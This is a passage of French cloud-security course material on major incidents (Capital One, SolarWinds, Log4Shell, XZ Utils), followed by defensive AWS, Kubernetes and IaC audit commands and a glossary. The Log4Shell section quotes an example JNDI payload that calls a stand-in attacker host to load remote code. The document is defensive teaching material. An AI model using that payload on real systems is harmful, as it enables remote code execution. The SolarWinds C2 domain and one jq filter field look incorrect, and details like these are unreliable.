Aller au contenu

15. Cas réels : incidents cloud majeurs

15. Cas réels : incidents cloud majeurs

Exposition de bucket S3 (capital one 2019)

Données
exposées
106 millions de clients nord-américains · Numéros de sécurité sociale · Numéros de
comptes bancaires · Cotes de crédit
Vecteur
d’attaque
SSRF (Server-Side Request Forgery) sur un WAF mal configuré → accès au service IMDS
(169.254.169.254) → vol des credentials IAM de l’EC2
Cause
technique
Rôle IAM EC2 avec trop de permissions (accès S3 complet) + WAF ne bloquant pas les
requêtes SSRF vers 169.254.x.x
Impact
financier
Amende de 80M$ par l’OCC · Coût total estimé à 300M$ · Réputation endommagée · CISO
licencié
RemédiationActiver IMDSv2 obligatoire · IAM least privilege · WAF rules bloquant SSRF · S3 Block
Public Access org-level · GuardDuty + Macie
Autres cas
similaires
GoDaddy (2021, 1.2M clients) · Twitch (2021, code source) · Samsung (2022, données
clients) · Toyota (2022, 2M véhicules)

SolarWinds supply chain attack (2020)

18 000 organisations infectées : Agences US gouvernementales, Microsoft, FireEye / Attribué : APT29 (Cozy Bear, SVR russe)

Chaîne de compromissionTechniques d’attaque (MITRE ATT&CK)
• Oct 2019 : accès initial au build system SolarWinds Orion
• Oct-Nov 2019 : tests du backdoor sans payload (camouflage)
• Fév 2020 : injection du malware SUNBURST dans DLL
Orion.Core.BusinessLayer.dll
• Mars-Juin 2020 : 18 000 clients téléchargent la mise à jour infectée
(signée !)
• Juin-Déc 2020 : exploitation discrète des organisations cibles (APT
long terme)
• 13 Déc 2020 : découverte par FireEye qui enquête sur sa propre
compromission
• T1195.002 : Compromise Software Supply Chain (build pipeline)
• T1553.002 : Code Signing (DLL signée avec certificat légitime Orion)
• T1071.001 : C2 via HTTP/HTTPS (avoslocker.appsync-api.*.amazonaws.com)
• T1562 : Defense Evasion : dormance 14j après install, imite le trafic légitime
Orion
• T1550.001 : Token Impersonation : vol des tokens SAML Azure AD → accès
M365
• T1119 : Automated Collection : exfiltration de mails et fichiers ciblés
Leçons et contrôles anti-supply-chain
• SBOM obligatoire pour tous les logiciels tiers : aurait permis de détecter la modification de la DLL
• Signature et vérification de build : reproductible builds · Binary Transparency · Cosign/Sigstore pour les artefacts
• Isolation du build system : réseau séparé · pas d’accès Internet · MFA + PAM sur les serveurs de build
• Détection réseau : alertes sur connexions DNS vers domaines générés algorithmiquement (DGA) · UEBA sur comportement applicatif
• Principe du moindre privilège pour les tokens SAML : limiter la durée de vie et les scopes (évite le golden SAML attack)

Log4Shell cve-2021-44228 (décembre 2021)

Mécanisme de la vulnérabilitéDétection et réponse
• Log4j2 interprète les expressions JNDI (${jndi:ldap://…}) dans les
chaînes loguées
• Un attaquant envoie ${jndi:ldap://attacker.com/exploit} dans un
champ logué (User-Agent, etc.)
• Log4j2 fait une requête LDAP vers le serveur attaquant
• Le serveur attaquant répond avec une classe Java malveillante
• Log4j2 charge et exécute cette classe → RCE complète sur le serveur
• Exploitation en <1 ligne · Détection initiale très difficile
• WAF : bloquer les patterns ${jndi: dans tous les inputs HTTP
• Network : bloquer les connexions LDAP/RMI sortantes non autorisées
• Scanner : log4j-detector (Lunasec) · log4shell-detector · Huntress Log4Shell
Tester
• Mitigation immédiate : LOG4J_FORMAT_MSG_NO_LOOKUPS=true (env var)
• Correction permanente : upgrader vers Log4j 2.17.1+
• SBOM : aurait permis de lister instantanément tous les services affectés
# Scanner toutes les images Docker pour Log4Shell
# Option 1 : Grype (Anchore)
grype sbom:./sbom.json | grep log4j
# Option 2 : Trivy
trivy fs —severity CRITICAL —vuln-type library . un SBOM aurait permis de répondre à ‘quels services utilisent
trivy image myapp:latest | grep CVE-2021-44228
Log4j ?’ en quelques secondes vs. jours d’investigation
# Option 3 : log4j-detector (Lunasec)
java -jar log4j-detector.jar /opt/myapp /var/lib
# Dans la CI/CD (GitHub Actions) :
- uses: anchore/scan-action@v3
with: { image: “myapp:latest”, fail-build: “true”, severity-cutoff: “critical” }

XZ Utils backdoor : Social engineering avancé (avril 2024)

Backdoor dans xz/liblzma (dépendance SSH sur Debian/Ubuntu/Fedora) · Découverte par hasard par un développeur Microsoft via un benchmark CPU

Timeline de l’attaque (+ 2ans de préparation)Mécanisme technique du backdoor
• Juin 2021 : création du compte GitHub ‘JiaT75’ (fausse identité
soigneusement construite)
• 2022-2023 : contributions légitimes de qualité au projet xz pour gagner la
confiance du mainteneur
• Fin 2023 : harcèlement coordonné du mainteneur principal (burn-out
orchestré) pour forcer une prise en charge
• Jan-Fév 2024 : injection du backdoor dans les versions 5.6.0 et 5.6.1 de
xz/liblzma
• Mars 2024 : Andres Freund (Microsoft) remarque une anomalie de 500ms
dans SSH via un benchmark perf → découverte
• 5 Avril 2024 : CVE-2024-3094 publiée (CVSS 10.0) : urgence nationale aux US
• Le backdoor est injecté uniquement dans les tarballs de release (pas
dans Git directement)
• Il cible spécifiquement sshd via la chaîne : xz → liblzma → systemd →
sshd
• Objectif : permettre à l’attaquant de s’authentifier SSH sans credentials
valides
• Détection ratée par : checksum du tarball valide (le code est dans les
tests !) · CI/CD ne scannait que Git
• Impact potentiel : accès root sur des millions de serveurs Linux
mondiaux
Leçons pour les équipes DevSecOps
• Reproduire les builds (reproducible builds)
• Comparer le tarball au source Git / Scanner les tarballs et les sources
• Vérifier l’intégrité des dépendances open source
• Revues de code humaines sur les contributions critiques
• SBOM avec sources vérifiées
• Alertes sur changements de mainteneurs de projets critiques

Sécurité de la CLI AWS

IAM : Audit et investigationS3 : Sécurité des buckets
aws iam generate-credential-report && aws iam
get-credential-report | base64 -d
aws iam list-users —query ‘Users[?PasswordLastUsed==null]’ #
users jamais connectés
aws iam list-access-keys —user-name USERNAME # lister les clés
d’un user
aws iam simulate-principal-policy —policy-source-arn ARN
—action-names ‘s3:*’ # tester permissions
aws s3api get-bucket-acl —bucket BUCKET # vérifier les ACLs
aws s3api get-public-access-block —bucket BUCKET # état Block
Public Access
aws s3api put-public-access-block —bucket BUCKET
—public-access-block-configuration
’BlockPublicAcls=true,BlockPublicPolicy=true,IgnorePublicAcls=true,
RestrictPublicBuckets=true’
aws s3api get-bucket-encryption —bucket BUCKET # vérifier le
chiffrement
GuardDuty : FindingsCloudTrail : Logs forensiques
aws guardduty list-findings —detector-id ID # lister tous les
findings
aws guardduty get-findings —detector-id ID —finding-ids ID1
ID2 # détail
aws guardduty create-sample-findings —detector-id ID # générer
des findings de test
aws guardduty list-detectors # trouver l’ID du détecteur
• aws cloudtrail lookup-events —lookup-attributes
AttributeKey=Username,AttributeValue=root # events root
• aws cloudtrail lookup-events —start-time 2024-01-01 —query
’Events[?EventName==ConsoleLogin]’
• aws cloudtrail get-trail-status —name TRAIL_NAME #
vérifier si actif
• aws logs filter-log-events —log-group-name CloudTrail/logs
—filter-pattern ‘errorCode’

Sécurité de Kubernetes

RBAC : Audit des droitsPods : Détection de mauvaises configs
kubectl auth can-i —list
—as=system:serviceaccount:default:mysa # ce que le SA peut
faire
kubectl get rolebindings,clusterrolebindings —all-namespaces -o
wide | grep -v system:
kubectl get pods —all-namespaces -o json | jq
’.items[].spec.serviceAccountName’ # SA par pod
kubectl describe clusterrolebinding cluster-admin # qui a les
droits admin ?
kubectl get pods —all-namespaces -o json | jq ‘.items[] |
select(.spec.securityContext.runAsRoot==true)‘
kubectl get pods -o json | jq ‘.items[] |
select(.spec.hostNetwork==true)’ # pods avec hostNetwork
kubectl get pods -o json | jq ‘.items[] |
select(.spec.containers[].securityContext.privileged==true)‘
kubectl get secrets —all-namespaces | grep -v kubernetes.io #
secrets custom
GuardDuty : FindingsFalco : Détection runtime
kubectl get networkpolicies —all-namespaces # lister toutes
les network policies
kubectl describe networkpolicy default-deny -n production #
détail d’une policy
# Namespaces sans network policy (dangereux) :
for ns in $(kubectl get ns -o
jsonpath=‘{.items[*].metadata.name}’); do echo $ns: $(kubectl
get networkpolicy -n $ns 2>/dev/null | wc -l) policies; done
helm install falco falcosecurity/falco -n falco —create-namespace
# installation
kubectl logs -l app=falco -n falco —tail=50 -f # suivre les
alertes
kubectl exec -it falco-pod -n falco — falco —list | grep shell #
règles disponibles
# Test : spawner un shell dans un pod (doit déclencher Falco) :
kubectl exec -it mypod — /bin/bash # → alerte Falco dans les logs

Sécurité Terraform et IaC

tfsec : Scanner TerraformCheckov : Multi-IaC Scanner
tfsec . —minimum-severity HIGH # scan sécurité du répertoire
courant
tfsec . —format sarif > results.sarif # output GitHub Security
tfsec . —include-ignored —soft-fail # voir aussi les ignores
tfsec . —custom-check-dir ./custom-rules # règles
personnalisées
checkov -d . —framework terraform # scanner Terraform
checkov -f Dockerfile —framework dockerfile # scanner Dockerfile
checkov -d . —check CKV_AWS_21,CKV_AWS_57 # checks spécifiques
seulement
checkov -d . —output sarif —output-file results.sarif # pour
GitHub
Conftest : Policy as CodeTrivy : Scan Images + IaC
conftest test main.tf —policy ./policies # valider un fichier
Terraform
conftest test deployment.yaml —policy ./k8s-policies # valider
K8s YAML
conftest verify —policy ./policies # vérifier les tests de
policies
# Exemple politique Rego : interdire buckets S3 non chiffrés
trivy image myapp:latest —severity HIGH,CRITICAL # scan image
Docker
trivy fs . —scanners secret # détecter les secrets dans le code
trivy config . —severity HIGH # scan IaC (Terraform, K8s,
Dockerfile)
trivy sbom —format cyclonedx myapp:latest > sbom.json # générer
SBOM

De A à F : Termes et acronymes essentiels

De G à Z : Termes et acronymes essentiels (suite)

HSMHardware Security Module : module matériel dédié à la
protection des clés cryptographiques (FIPS 140-2 L3)
MFAMulti-Factor Authentication : authentification
multi-facteurs : something you know + have + are
IaCInfrastructure as Code : gestion de l’infrastructure via du
code (Terraform, CloudFormation, Ansible, Pulumi)
MITRE
ATT&CK
Knowledge base des tactiques, techniques et procédures
(TTPs) d’attaque observées en conditions réelles
IAMIdentity & Access Management : gestion des identités et des
droits d’accès aux ressources cloud
mTLSMutual TLS : authentification bidirectionnelle TLS où
client ET serveur présentent leur certificat
IdPIdentity Provider : fournisseur d’identité (Okta, Azure AD,
Ping) émettant des assertions SAML ou tokens OIDC
OIDCOpenID Connect : couche d’identité sur OAuth 2.0
utilisant des tokens JWT (standard pour CI/CD
federation)
JITJust-In-Time : accès privilégié activé temporairement pour
une durée limitée avec approbation (Azure PIM, AWS SSO)
PAMPrivileged Access Management : gestion des accès
privilégiés avec enregistrement, approbation et durée
limitée
KMSKey Management Service : service de gestion des clés de
chiffrement (AWS KMS, Azure Key Vault, Cloud KMS)
RBACRole-Based Access Control — contrôle d’accès basé sur
les rôles attribués aux utilisateurs

De G à Z : Termes et acronymes essentiels

SBOMSoftware Bill of Materials : inventaire exhaustif des
composants logiciels (format SPDX ou CycloneDX)
STSSecurity Token Service (AWS) : service émettant des
credentials temporaires via AssumeRole / OIDC /
SAML
SIEMSecurity Information & Event Management :
centralisation, normalisation, corrélation des logs
et alertes sécurité
UEBAUser & Entity Behavior Analytics : détection
d’anomalies comportementales par ML pour
utilisateurs et systèmes
SOARSecurity Orchestration, Automation & Response :
automatisation des workflows de réponse aux
incidents sécurité
VPCVirtual Private Cloud : réseau virtuel isolé dans le
cloud provider (AWS VPC, Azure VNet, GCP VPC)
SOCSecurity Operations Center : équipe dédiée à la
surveillance, détection et réponse aux incidents
24/7
ZTNAZero Trust Network Access : accès réseau basé sur
l’identité et le contexte, remplace le VPN traditionnel
SSRFServer-Side Request Forgery : vulnérabilité
permettant de forger des requêtes depuis le
serveur (ex : vers IMDS)
https://owasp.org/Top10/2025
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207.pdf
https://cloudsecurityalliance.org/artifacts/cloud-controls-matrix-v4-1
https://tryhackme.com/path/outline/soclevel1
https://portswigger.net/web-security/all-labs
https://www.wiz.io/blog
https://cloudsecurityalliance.org
https://krebsonsecurity.com
https://therecord.media

La sécurité n’est pas un état à atteindre,

c’est une pratique à maintenir.